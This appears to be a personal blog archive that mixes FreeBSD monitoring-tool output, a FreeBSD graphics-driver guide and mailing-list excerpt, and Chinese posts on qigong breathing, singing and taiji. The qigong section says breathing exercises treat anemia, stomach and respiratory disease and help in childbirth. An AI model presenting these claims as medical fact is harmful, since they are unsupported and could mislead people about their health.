    dT: 0.504  flag_I 500000us  sizeof 240  i -1  L(q)  ops/s    r/s   kBps   ms/r    w/s   kBps   ms/w   %busy Name     1     91     91    964    3.6      0      0    0.0   33.2| ad0     1     91     91    964    3.7      0      0    0.0   33.4| ad0s1     0      0      0      0    0.0      0      0    0.0    0.0| acd0     0      0      0      0    0.0      0      0    0.0    0.0| ad0s1a     0      0      0      0    0.0      0      0    0.0    0.0| ad0s1b     0      0      0      0    0.0      0      0    0.0    0.0| ad0s1c     0      0      0      0    0.0      0      0    0.0    0.0| ad0s1d     1     91     91    964    3.7      0      0    0.0   33.7| ad0s1e     0      0      0      0    0.0      0      0    0.0    0.0| md0 
  • iostat
    The iostat utility displays kernel I/O statistics on terminal, device and cpu operations.
          tty             ad0              fd0             cpu  tin tout  KB/t tps  MB/s   KB/t tps  MB/s  us ni sy in id   16  567 13.22  17  0.22   0.00   0  0.00   9  0  3  1 86  821  880 64.00   0  0.02   0.00   0  0.00   8  0  3  1 89  844  864  0.00   0  0.00   0.00   0  0.00   7  0  3  1 89  945  965 64.00   0  0.02   0.00   0  0.00   6  0  4  1 89  961  981 64.00   0  0.02   0.00   0  0.00   6  0  3  3 88  961  981  0.00   0  0.00   0.00   0  0.00   6  0  2  1 90  961  981 64.00   0  0.02   0.00   0  0.00   8  0  2  1 89 
  • netstat
    The netstat command symbolically displays the contents of various network-related data structures. There are a number of output formats, depending on the options for the information presented.
    Active Internet connections Proto Recv-Q Send-Q  Local Address          Foreign Address        (state) tcp4       0      0  192.168.0.2.63566      193.69.116.13.http     CLOSE_WAIT tcp4       0      0  192.168.0.2.52783      216.239.41.104.http    ESTABLISHED tcp4       0      0  192.168.0.2.49413      solo.cs.vu.nl.imap     ESTABLISHED tcp4       0      0  192.168.0.2.65519      ronald.echteman..imap  ESTABLISHED tcp4       0      0  192.168.0.2.49324      ronald.echteman..imap  ESTABLISHED tcp4       0      0  192.168.0.2.50677      192.168.0.1.ssh        ESTABLISHED udp4       0      0  localhost.ntp          *.*                     udp4       0      0  192.168.0.2.ntp        *.*                     udp4       0      0  localhost.domain       *.*                     udp4       0      0  192.168.0.2.domain     *.*                     Active UNIX domain sockets Address  Type   Recv-Q Send-Q    Inode     Conn     Refs  Nextref Addr c15fe348 stream      0      0        0 c15fed20        0        0 /tmp/.X11-unix/X0 c15fed20 stream      0      0        0 c15fe348        0        0 c19ed118 stream      0      0        0 c15fd1a4        0        0 c15fd1a4 stream      0      0        0 c19ed118        0        0 c15fe118 stream      0      0        0 c15fe3d4        0        0 
  • nfsstat
    The nfsstat command displays statistics kept about NFS client and server activity.
    Client Info: Rpc Counts:   Getattr   Setattr    Lookup  Readlink      Read     Write    Create    Remove         0         0         0         0         0         0         0         0    Rename      Link   Symlink     Mkdir     Rmdir   Readdir  RdirPlus    Access         0         0         0         0         0         0         0         0     Mknod    Fsstat    Fsinfo  PathConf    Commit         0         0         0         0         0 Rpc Info:  TimedOut   Invalid X Replies   Retries  Requests         0         0         0         0         0 Cache Info: Attr Hits    Misses Lkup Hits    Misses BioR Hits    Misses BioW Hits    Misses         0         0         0         0         0         0         0         0 BioRLHits    Misses BioD Hits    Misses DirE Hits    Misses         0         0         0         0         0         0  Server Info:   Getattr   Setattr    Lookup  Readlink      Read     Write    Create    Remove         0         0         0         0         0         0         0         0    Rename      Link   Symlink     Mkdir     Rmdir   Readdir  RdirPlus    Access         0         0         0         0         0         0         0         0     Mknod    Fsstat    Fsinfo  PathConf    Commit         0         0         0         0         0 Server Ret-Failed                 0 Server Faults             0 Server Cache Stats:    Inprog      Idem  Non-idem    Misses         0         0         0         0 Server Write Gathering:  WriteOps  WriteRPC   Opsaved         0         0         0 
  • pstat
    The pstat utility displays open file entry, swap space utilization, terminal state, and vnode data structures.
      LINE RAW CAN OUT IHIWT ILOWT OHWT LWT     COL STATE  SESS      PGID DISC   ttyv0  0   0   0  7680  6720 2052 256       0 OCc         683   694 term   ttyv1  0   0   0  7680  6720 2052 256       0 OCc         684   711 term   ttyv2  0   0   0  7680  6720 2052 256       7 OCc         685   685 term   ttyv3  0   0   0  7680  6720 2052 256       7 OCc         686   686 term   ttyv4  0   0   0  7680  6720 2052 256       7 OCc         687   687 term   ttyv5  0   0   0  7680  6720 2052 256       7 OCc         688   688 term   ttyv6  0   0   0  7680  6720 2052 256       7 OCc         689   689 term   ttyv7  0   0   0  7680  6720 2052 256       7 OCc         690   690 term   ttyv8  0   0   0  7680  6720 1296 256       2 OCc           0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term     0,0  0   0   0     0     0    0   0       0 -             0     0 term consolectl  0   0   0  7680  6720 1296 256       0 -             0     0 term   ttyp0  0   0   0  7680  6720 2052 256       0 OCc         729   943 term   ttyp1  0   0  76  7680  6720 2052 256       0 OCc         754  1279 term   ttyp2  0   0   0  7680  6720 2052 256   96221 OCc         778  1217 term   ttyp3  0   0   0  7680  6720 2052 256       0 OCc         807   807 term   cuaa0  0   0   0  7680  6720 1296 256     336 OCcXl         0     0 term   ttyp4  0   0   0  7680  6720 2052 256       0 OCc        1210  1216 term 
  • top
    Top displays the top processes on the system and periodically updates this information.
    last pid:  1421;  load averages:  0.02,  0.08,  0.08    up 0+01:42:59  11:49:46 61 processes:  1 running, 60 sleeping CPU states:  5.4% user,  0.0% nice,  1.2% system,  0.0% interrupt, 93.4% idle Mem: 83M Active, 213M Inact, 62M Wired, 13M Cache, 48M Buf, 824K Free Swap: 743M Total, 743M Free    PID USERNAME PRI NICE   SIZE    RES STATE    TIME   WCPU    CPU COMMAND  1216 ronald    -8    0  6844K  1048K pcmwr    1:25  2.34%  2.34% mpg123   734 ronald    76    0 51104K 44804K select   2:33  0.00%  0.00% opera   710 ronald    76  -10 17292K 16096K select   2:29  0.00%  0.00% XFree86   777 ronald    76    0  4888K  3280K select   0:46  0.00%  0.00% xterm   723 ronald    76    0  6588K  4236K select   0:14  0.00%  0.00% icewm  1218 root       5    0  1256K   840K ttyin    0:06  0.00%  0.00% tip   806 ronald    76    0  4888K  3344K select   0:05  0.00%  0.00% xterm   753 ronald    76    0  5284K  3712K select   0:03  0.00%  0.00% xterm   521 root      76    0  1588K  1080K select   0:00  0.00%  0.00% ntpd   727 ronald    76    0  4904K  3252K select   0:00  0.00%  0.00% xterm  1410 ronald    76    0  7276K  4652K select   0:00  0.00%  0.00% vim   724 ronald    76    0  2564K  1580K select   0:00  0.00%  0.00% ssh-agent   754 ronald     5    0  2192K  1676K ttyin    0:00  0.00%  0.00% bash   807 ronald     8    0  2196K  1708K wait     0:00  0.00%  0.00% bash  1209 ronald    76    0  4888K  3648K select   0:00  0.00%  0.00% xterm   684 root       8    0  1616K  1164K wait     0:00  0.00%  0.00% login   328 bind      76    0  2760K  2076K select   0:00  0.00%  0.00% named 
  • systat
    The systat utility displays various system statistics in a screen oriented fashion.
        6 users    Load  0.08  0.23  0.26                  Aug 12 10:47  Mem:KB    REAL            VIRTUAL                     VN PAGER  SWAP PAGER         Tot   Share      Tot    Share    Free         in  out     in  out Act   81112    5180   147268     9244   24120 count All  376852    6864  2954884    12200         pages                                                                  Interrupts Proc:r  p  d  s  w    Csw  Trp  Sys  Int  Sof  Flt        cow     386 total            3 56       645   17  721  642   14       57968 wire    250 0: clk                                                     81664 act         1: atkb  1.2%Sys   0.8%Intr  0.8%User  0.0%Nice 97.2%Idl   217284 inact       6: fdc0 |    |    |    |    |    |    |    |    |    |      20720 cache       7: ppc0 =                                                    3400 free    128 8: rtc                                                           daefr     7 11: pcm Namei         Name-cache    Dir-cache                     prcfr       12: psm     Calls     hits    %     hits    %                     react       13: npx                                                           pdwak     1 14: ata                                           zfod            pdpgs       15: ata Disks   ad0   fd0                         ofod            intrn KB/t  16.00  0.00                         %slo-z    48784 buf tps       1     0                         tfree         1 dirtybuf MB/s   0.02  0.00                                   26886 desiredvnodes % busy    0     0                                   20241 numvnodes                                                      3786 freevnodes 
  • vmstat
    The vmstat utility reports certain kernel statistics kept about process, virtual memory, disk, trap and cpu activity.
     procs      memory      page                    disks     faults      cpu  r b w     avm    fre  flt  re  pi  po  fr  sr ad0 fd0   in   sy  cs us sy id  1 2 0  138200  20520   48   0   0   0  81  41   0   0  809 1780 1151 10  5 86  0 2 0  138200  20520    1   0   0   0   1   0   0   0  633  514 590  1  1 98  0 2 0  138200  20520    0   0   0   0   0   0   0   0  632  469 587  0  1 98  0 2 0  138200  20520    0   0   0   0   0   0   0   0  687  681 716  1  2 97  0 2 0  138200  20520    0   0   0   0   1   0   1   0  673  704 686  1  1 98  2 3 0  139372  20176   79   0   0   0  46   0   3   0  644 1017 654  2  3 95  0 3 0  139432  18364   12   0   0   0   7   0  67   0  701 14122 2141 56 23 20  2 2 0  139868  16748   37   0   0   0   0   0  35   0  667 12963 2603 66 20 13  2 2 0  139920  15648    5   0   0   0  69   0  50   0  682 15063 1930 65 23 12  0 2 0  138200  14104    6   0   0   0 262   0 124   0  759 10485 1937 30 16 55

FreeBSD|FreeBSD的systat命令备忘

FreeBSD的systat命令备忘 - Johnny.He Blog - working log life diary.

FreeBSD的systat命令备忘

[ 2007/11/14 13:09 | by Johnny.He ]
| |
systat 是一个在FreeBSD中帮助你查看、观察系统状况的命令,并且显示在屏幕。
systat -- display system statistics on a crt

使用方法:
systat [-display] [更新-时间]
示范:
systat -vmstat 1

可用指令:
icmp, icmp6,ifstat, iostat, ip, ip6, mbufs, netstat, pigs, swap, tcp, vmstat
-disply:

systat -icmp
systat -icmp6
systat -ifstat
systat -iostat
systat -ip
systat -ip6
systat -mbufs
systat -netstat
systat -pigs
systat -swap
systat -tcp
systat -vmstat

Wednesday, July 30, 2008

Freebsd|[精华] 写给新手:显卡驱动的安装

[精华] 写给新手:显卡驱动的安装 - ChinaUnix.net

[精华] 写给新手:显卡驱动的安装


http://www.chinaunix.net 作者:snnn  发表于:2007-04-18 14:35:54
发表评论】 【查看原文】 【BSD讨论区】【关闭

刚在这里看见几篇关于显卡驱动的安装,dri等问题。

我简单说下我的经验:

第一条原则:不要尝试把Linux下的驱动装到freebsd下来。
第二条原则:不要去Linux社区问怎么在freebsd下安装显卡驱动

1、nv
在nv的官方网站上就可以下载到专门为freebsd设计的驱动,不过那样太麻烦。
nv的驱动在ports中就有。/usr/ports/x11/nvidia-driver/
/usr/ports/x11/nvidia-xconfig/这个ports是帮你配置xorg.cfg的

nv的驱动安装的时候会有几个选项。
例如是选用freebsd的agp驱动还是nv的agp驱动。

建议是:
不要使用freebsd自带的agp驱动。

如果你要使用nv的agp驱动,
首先检查你的内核配置文件,如果有driver agp这样的行,一定要注释掉。
如果你对内核配置文件做了任何修改,请先重新编译内核。
然后切记,xorg.cfg中这样一行必须删除或者注释掉。
Load  "dri"


2、ati
ATI没有freebsd的驱动。
请在内核配置文件中加入下面两行
device          drm             # DRM core module required by DRM drivers
device          radeondrm       # ATI Radeon
然后重新编译内核。

然后切记,xorg.cfg中这样一行必须删除或者注释掉。
Load  "dri"

3、intel集成显卡。
intel集成显卡没有freebsd的驱动。
device          drm             # DRM core module required by DRM drivers
device          i915drm         # Intel i830 through i915
然后切记,xorg.cfg中这样一行必须删除或者注释掉。
Load  "dri"


附:
1、如何使用ports安装驱动请参考freebsd使用手册。
2、我的系统是freebsd 6.2,以上方式在部分5.x系统下测试过,还有一部分没有测试过。
3、配置xorg.cfg可以使用xorgcfg -textmode命令。
4、我的ati显卡的xorg.cfg的配置
Section "ServerLayout"
        Identifier     "Layout0"
        Screen      0  "Screen0" 0 0
        InputDevice    "Keyboard0" "CoreKeyboard"
        InputDevice    "Mouse0" "CorePointer"
EndSection

Section "Files"
EndSection

Section "Module"
        Load "freetype"
        # Load "xtt"
        Load  "extmod"
        Load  "glx"
        #Load  "dri"
        Load  "dbe"
        Load  "record"
        Load  "xtrap"
        Load  "type1"
        Load  "speedo"
EndSection

Section "InputDevice"
        Identifier  "Mouse0"
        Driver      "mouse"
        Option      "Protocol" "Auto"
        Option      "Emulate3Buttons"
        Option      "Device" "/dev/sysmouse"
EndSection

Section "InputDevice"
        Identifier  "Keyboard0"
        Driver      "kbd"
        Option      "XkbModel" "pc105"
        Option      "XkbLayout" "us"
EndSection

Section "Monitor"
        Identifier   "Monitor0"
 ### Comment all HorizSync and VertSync values to use DDC:
        HorizSync    31.5 - 57.0
        VertRefresh  50.0 - 90.0
EndSection

Section "Device"
        Identifier  "Card0"
        Driver      "ati"
EndSection

Section "Screen"
        Identifier "Screen0"
        Device     "Card0"
        Monitor    "Monitor0"
        DefaultDepth     24
        SubSection "Display"
                Viewport   0 0
                Depth     24
                Modes    "1024x768" "800x600"
        EndSubSection
EndSection

Keve Nagy wrote:
> Thank you for the feedback, Everyone!
>
> Seems that for now a cheap nvidia is a good choice.


I have a 7300 GS myself. One of the 7600 models is probably a notch
better - very good, cheap, fanless cards with all the resolution you
need, I believe.

> Those of you who had success with these nvidia cards, what driver did
> you use? I found one in the ports, did you build that one? Or did you
> use the one available for download from the nvidia site?


The one in the ports seems to be the official Nvidia driver. You will
need to have kernel sources.

> How smooth did the driver installation go?
> Any reliability issues with these binary drivers?


No problems, but do read the fine print about agp and running
nvidia-xconfig. Install nvidia-settings if you are into photography or
otherwise care about good colors etc.

Rainer Duffner wrote:
> I'm not running FreeBSD natively on my setup (yet), but I believe there
> are multiple version of the binary NVidia driver in the freebsd
> ports-tree, because NVidia doesn't have a "unified" driver for all their
> hardware.


I presumed that Keve was looking at /usr/ports/x11/nvidia-driver, which
is the latest driver and most probably the correct one if he buys a new
product. But he could always keep in mind that there are legacy
versions. Hard to discuss the matter until he decides on a card.
--
Tore (home period no, user tl18)



Saturday, July 26, 2008

怎样气沉丹田,穴道?_百度知道 - Sent Using Google Toolbar

怎样气沉丹田,穴道?_百度知道

"气沉丹田"是杨式太极拳 "十要"中的"一要"。(包括很多气功都有这个说法,)这是针对人们练拳时,气容易上提,产生憋气和上重下轻、重心不稳的毛病而提出来的。丹田在脐下三寸,气沉丹田,就是要求练拳时尽量保持自然,不要有意识地强行向下压气。因为"先天之气宜稳,后天之气宜顺"。后天之气宜顺就是指的呼吸要顺其自然。腹稳,呼吸自然就顺,下盘就能稳固。
一、静态下行功:先将全身放松。上下口唇微闭,意守丹田,自然吸气入胸腔,然后将气分成两部分,一部分用鼻孔徐徐排出,另一部分内气松沉降于腹腔丹田部位。再吸气时如上述重复循环,自然而然,毫不造作。我们练拳起势或站桩时气的运化,一般来讲是将气沉在丹田部位,但并非绝对,功夫高深者实战中则随其需要,以意领气,带动气血运行,从而产生内劲,可以在周身运行。然非修炼多年不能达到如此境界。

二、动态下行功:太极拳行功走架时,有的采取逆腹式呼吸,即吸气时腹中空,呼气时腹中实。笔者行拳时采用吸气时口微闭,用鼻吸,务要缓、细、实,以意领气,全身放松,胸膈肌受压膨胀上升。尾闾下降,谷道内收。合为吸为蓄,呼为开为发。呼气时胸膈肌下降,引气下行,气沉丹田,下腹凹型腔底受压有膨胀感,尾闾上升,气贴脊背。以上泛指一般情况而言,然拳势千变万化,万物变化规律皆存在一般性和特殊性,望同好们悉心体会,认真领悟。

另外需要说明的是,气沉丹田是随呼吸变化有沉有浮,物极必反,内功亦然,松之极,则紧之至,柔尽刚来,阴极则阳必生,沉极则浮。即吸气胸膈膜上浮,内气上升,呼气时胸膈膜下降,内气下沉,往而复之,循环不已,且阴中有阳,阳中寓阴,细观阴阳鱼图或另有所悟。

用丹田之力来唱,发出的声音才会有穿透力,就以功用来看,丹田的功用也正是气功 中活力的源头,也是一种保健的方式。那什么是丹田呢?我们的丹田位在我们的躯干肚脐下方约三指幅宽的地方(也就是约一点五�),所谓丹田用力是靠身体的内 部深层肌肉在做运动,也就是位在丹田位置后方的深层肌肉在用力。该如何感觉丹田位置呢?请先看完下面简单的训练方法:

一.气入丹田:先慢慢地深深吸一口气,记得用腹式呼吸,用手放在腰的两侧,要感觉腹部有在涨大,这就是气入丹田。
二.闭气宁神:当无法再吸入时,憋住口中真气,集中注意力在肚脐下方约三指幅宽,感觉丹田周围的肌肉有在用力支撑着。
三.聚力吐气:只利用丹田周围的肌肉用力支撑着,其他部位放松,并缓缓的将气吐出来。
四.气尽神散:把身体里的气全吐完后,全身放松,准备再吸一口气。

如此几遍后,会感觉到小腹部的肌肉有一点酸,每次用力时与上大号的感觉是相类似的,请记得这种感觉。不久你就会发现丹田的所在位置,这个位置会因为每个人的体型不同而有所差异,所以你必须记得下次要用力的位置。

等到你已经可以正确把握丹田的位置时,接着要做快吸快吐的训练,把气快速地吸入小腹部,再快速吐出,像小狗在喘气,但是只有丹田的部位在动,这样 可以让你的丹田肌肉做快速的收缩运动,记得只能利用丹田周围的肌肉用力,全身的其他部位是放松的。这个动作可强化腹肌的力量,建议你只要时间地点允许,可 以多多练习这个动作,尤其是孕妇更要多练习,在生产时会有意想不到的效果。

运动也是不错的方法,像跑步、仰卧起坐或仰卧空踩脚踏车,有一些瑜珈的动作也可以达到训练的目的,还有摇呼拉圈、爬楼梯、蛙人操……等等的运动, 要注意以自己身体能承受方式来训练,反正目的是一样的,只是所需时间各有长短。网路上有一位声乐老师说过:「唱歌它本身也是一种艺术,除了需要专注外,也 需要本身身体的体能状态良好,甚至必须达到颠峰,如此再加上本身歌者的涵养,才能缔造美妙的歌声!」

丹田训练在歌唱方面的功用,可归纳为下列几项:

一.更宽广的音域
二.可调控的音量
三.清晰的咬字
四.丰富的声音表现技巧
五.持续的耐久力
六.长久不衰的嗓音

若你持续练习一段时日后,应该会感受到上述几项改变,或许是全部,也有可能只有一、二项有改进,但总体而言,对于在歌唱技巧方面(各种共鸣腔的运用及技巧)无法突破的人来说,丹田训练是一项必修的课程。

最后要提到一点,丹田的运用必须配合腹式呼吸的方式,因为当我们在吸气时,气会进入我们的肺脏,让肺泡充气进而扩大我们的胸腔,但这样的肺活量用 于唱歌仍是不够的,还必须靠着横隔膜的向下扩张,这样吸入的空气量才会足,丹田的肌肉才会有力。当你已经很容易感觉到丹田后,试一试发一长音(至少要30 秒)!一秒一拍的数,可以正确地运用后,再把你要唱的歌拿一小段来做练习,记得丹田要用力!假以时日,必有小成。



呼吸功是调整呼吸的功法,人在胎儿时期,在母亲腹中,是不需要接触空气呼吸的,先贤们称这样的呼吸为胎息,也叫先天呼吸;而离开母腹,接触空气以后,人体 的肺功能开始自动作用,使人完成呼吸。先贤们称之为后天呼吸!随着人的成长,难免生出种种疾患,在不只不觉下使人的呼吸发生改变。有人吸的长,呼的短,有 人相反,也有人呼吸都很短,甚至感到呼吸困难!发生这样的现象,虽然表面上以西医的观点来看,身体并无物理病变,但是以中医的辨证观点就会发现脏腑不调, 阴阳不平衡,气血疲虚等等问题~所以在这里,我安排了这个呼吸功,通过调整呼吸,有意识的训练,来改善身体的健康状况!只有身体处于健康状态,才能进行高 层次的气功修炼!

呼吸功的主要作用:

1可以改善身体状况,改善由气血两虚,阴阳不调导致的脏腑紊乱,胸闷,气短,贫血,慢性微胃疾病,呼吸系统疾病等~

2促进身体新陈代谢,促进血液循环;

3平心静气,使心境更能趋于安静祥和的气功状态;

4为以后的入定和胎息打下坚实的基础!

功法如下:

端坐或盘坐,上身务必保持正直,但切忌挺胸抬头。应当虚胸含腹,气沉丹田,颈部保持正直,下巴微收~两手心向下,自然放于膝盖上,两眼微闭。按照松通功的要领,开始放松。

放松后,开始练习1鼻子缓慢自然吸气,越慢越好,气吸满后,微微闭气2秒,再慢慢呼出。有些人做一两次可能就会感到吃力,憋气,可稍做调整后再接着进行!如此呼吸9次!

2接上不停,鼻子缓慢吸气的同时小腹微微外凸,同时要意念气是吸到小腹去了,吸满后缓慢呼出,同时小腹微内收!整个过程要做到:匀,细,缓,深!做9次!


匀,就是呼吸要均匀,吸气时不要一下吸的多,一下吸的少。呼吸都要均匀。

细,就是呼吸尽可能的细,不要粗,气一点点的进,一点点的出。

缓,就是慢,呼吸要慢,刚开始可能比较困难,但是要尽可能的去慢,多练~

深,就是吸要吸满,吸到头,不要吸一半或者吸三分之二,这样都是不对的!

3接上不停,鼻子缓慢吸气的同时微微内收小腹,呼气时小腹微外凸~与上一步基本相同,区别在小腹内收外凸的先后上!做9次!

4接上不停,深吸气的同时身体向上起,呼气时身体放松下伏。整个过程是缓慢的,千万不要快~呼吸要慢的自己感觉不到,身体的起伏也感觉不到,这才是对的!做9次!

OK,到这里就可以了,自然呼吸几次,放松一下身体!搓搓手,搓搓脸~慢慢睁开眼睛,看,是不是特别的精神?

注意:1整个过程不长,49次呼吸而已,但是有人可以练半个小时或更长,有人只能练十几分钟。当然,这是你呼吸是否慢的原因!这里,我强调,尽可能的慢,刚开始练,可以对自己放松点,但是练几次以后就要严格要求了~

2虽然是呼吸功,但是对调心也是很有帮助的!你试着感觉是否在练功时急噪,想快点练完?是否心静不下来?是否烦躁?有这种现象就要及时去调整!要像老僧入定一样,不急不躁,心平气和,心如止水~长期都能这样,你呀,离成功也就不远了~

Taiji|练好太极拳同时也要练气功

练好太极拳同时也要练气功吧?太极拳只有练到一定境界了才有实战作用吧?_百度知道

练习太极拳可以同时练习气功吗?《中华武术》杂志已请专家做了解答。我是既练太极拳,又练养生站桩功的想谈一点个人的体会和认识,以资交流,并向专家请教。
一般认为太极拳是动中求静,气功是静中求动,两者相反相成,我也一贯持此看法并加以实践。但近来我在想,这两者的动与静二样吗?:首先,它们的实质是不同的,太极拳动的是四肢身体,气功动的是意念引导下的内气;太极拳静的是心态平静,气功静的是肢体外表,可见两者的动与静的内涵是不相同的。其次,气功静中求动是求内气运动;而太极拳动中求静只是一个手段、一种方法(以静御动),静不是目的,它真正追求的目的,也是内气的动,心平气和(静),才能很好地运用意念(用意不用力)并在拳势的导引下达到内气运动。
由于这两者都是以促进内气运动为目的,故具有相互促进、相得益彰、殊途同归的功效;对于养生来说,不但可以同练,而且最好同练。为什么?
因为太极拳要达到内气运转比较费时,光是练拳架从不会到精熟,在业余条件下,没有几年功夫是不行的。而练站桩身上没动作,专心松静,用意念,随呼吸导引内气在体内转,一门心思;就比较容易"得气"。当你在站桩过程中有了内气潜转的真切感受,便能帮助你在练太极拳时,通过放松用意不用力,再配以拳势呼吸,也就会比较容易捉摸到内气随拳势而流动。再反过来,由于拳势的整体性、多样性、多变性,忽左忽右;忽进忽退,这就必须要有相当于大周天的内气周身运转相配合。这样的内气周身运转,也就会促使你在站桩中,内气运转由原来的小周天任督二脉运转,扩展到遍及全身的大周天运转。但我的这种"大周天"不像传统练法那样繁琐:要记忆十二经络;有关穴位,以及来龙去脉,既不大容易弄清楚,又难操作,弄不好还要出偏等。我是采取随意用多种方式运转,既可按身体需要随便选择,又可增加趣味以免单调乏味。这种内气的随意运转处于有规律与无规律之间,总的规律是:吸升呼降,气沉丹田(升,沿督脉及四肢外侧;降,沿任脉及四肢内侧),吸蓄呼发,让内气"满身能跑",(杨澄甫语)。其实这种内气的随意运转,近乎《十三势行功心解》中所说的"气以直养而无害",是指内气的自然调养修炼,也就是通过吐纳、导引,用意念推动内气的运转和强化;
练太极拳也好,练气功也好,能明白这个理,就像是走在阳光大道上,信心十足。倘或一知半解,难免有摸黑弄堂的迷茫。


太极拳能否用于实战这个话题,已争论很久。即使在旧中国的民国初期的比武中,太极拳也是败多胜少,当时的太极拳家向恺然先生说:"在一次武术比赛之后,声明以太极拳为专长的,多未胜利。而北平方面,所去应试之人,其胜利者,虽十之七八也曾练太极拳,但在报名时,却未声明以太极拳为专长……此番南京考试(注:指中央国术馆南京国考)之结果便可证明练太极拳者不如练外家拳容易致用也。"向先生还评论了太极拳的得失,他说:"练太极拳者,每有存心轻视外家拳之习气,论拳理,太极拳自较外家拳精细,但外家拳亦自有其好处。"目前,人们普遍认为,太极拳只是玩的,只是健身的一种途径(健身体操),而不能应用到实战中去;笔者早年也曾对太极拳的实战功效产生过疑惑,但随个人不断修炼和体悟,逐渐加深了认识,现就个人经验分析一下为何太极拳在益于养生的同时也具备强大的实战功能。

太极拳实际上具备一套完整的技击训练体系,完整的太极拳修炼应包含自我训练及实战训练两个部分,自我训练包括站桩、盘架、推手(包括程序化的单推、双推、大捋及沾手和接手)、功力(包括静态与动态训练)、发力、抗击打训练等。以上每种训练方式,实际上都有其独特的功效,分别培养了技击实战中所必须的各种基本素养,个人可根据自身的具体状况进行有选择的训练。有必要指出的是,单靠盘架和程序化推手的训练是不能成为实战高手的。

在自我训练有一定基础后,便可进行技击实战训练,在此需要指出的是,自我训练与技击实战训练是两种不同层次的训练,它们之间有很大的区别,自我训练是实战技击训练的基础,而实战技击训练是在对方不断变化的情形下,自己随机应变,逐步培养充分发挥个人拳学素养的能力。在这一阶段,主要训练与对方的距离感、时间差、角度、速度、步法的灵活变化、灵敏性与本能、击打发放的力度等,是在动态当中,针对于实战状态的综合训练,如缺少此过程,就很难发挥出太极拳的技击威力了。

笔者曾系统接触过形意、八卦、大成、少林、太极、无极等多派武学,在实践中,深切体验到其拳理皆是相通的。从前贤们的理论可以明确一点,那就是太极拳的拳理,是慎密而奥妙的,太极拳自产生之日起,便与实战紧密相关,直接服务于实战。只不过太极拳在历代延传过程中,由于老师的保守或个人资质领悟能力的不同,致使不同的人对太极拳实质的把握也是千差万别,太极拳的上乘功夫,历代除极少数拳家外,很少有人能充分体悟其内涵。

笔者幼年即嗜武学,尤其对太极一门情有独钟,为探求太极真谛,也曾不计艰辛,遍访明者求其点滴真意,经多年探索体悟,对太极的技击内涵颇有所得。可以说太极拳为我国传统文化宝库中的奇珍异宝,但若一味炫耀已成为历史的前辈的高超武技,不思进取,正所谓逆水行舟不进则退,不免使此瑰宝在我辈手中遗失,那将是中华武学的巨大损失,我辈也会成为历史的罪人而愧对后人。因此我辈总结前辈宝贵的武学理论和实践经验,百尺竿头更进一步,使之发扬光大、后继有人。故笔者大力呼吁:"武界应团结互助,共同为挖掘保护太极拳精髓而尽力。"

近来,传出一种狂妄的叫嚣声,说传统中华武术根本与散打无法相提并论,只是一种花拳锈腿,根本不能用于实战当中。观持此种论调的人,他们并没有真正领悟传统武术的真谛,仅凭一些表皮的功夫和一点道听途说,便主观臆断,自认为掌握住真理。传统武学,作为中华文化的一部分,博大精深,应作为一门严谨的学术看待,而钻研学术,必须做到客观公正,冷静思考,亲身体验,并且富于实战,只有这样学术才可有真正发展。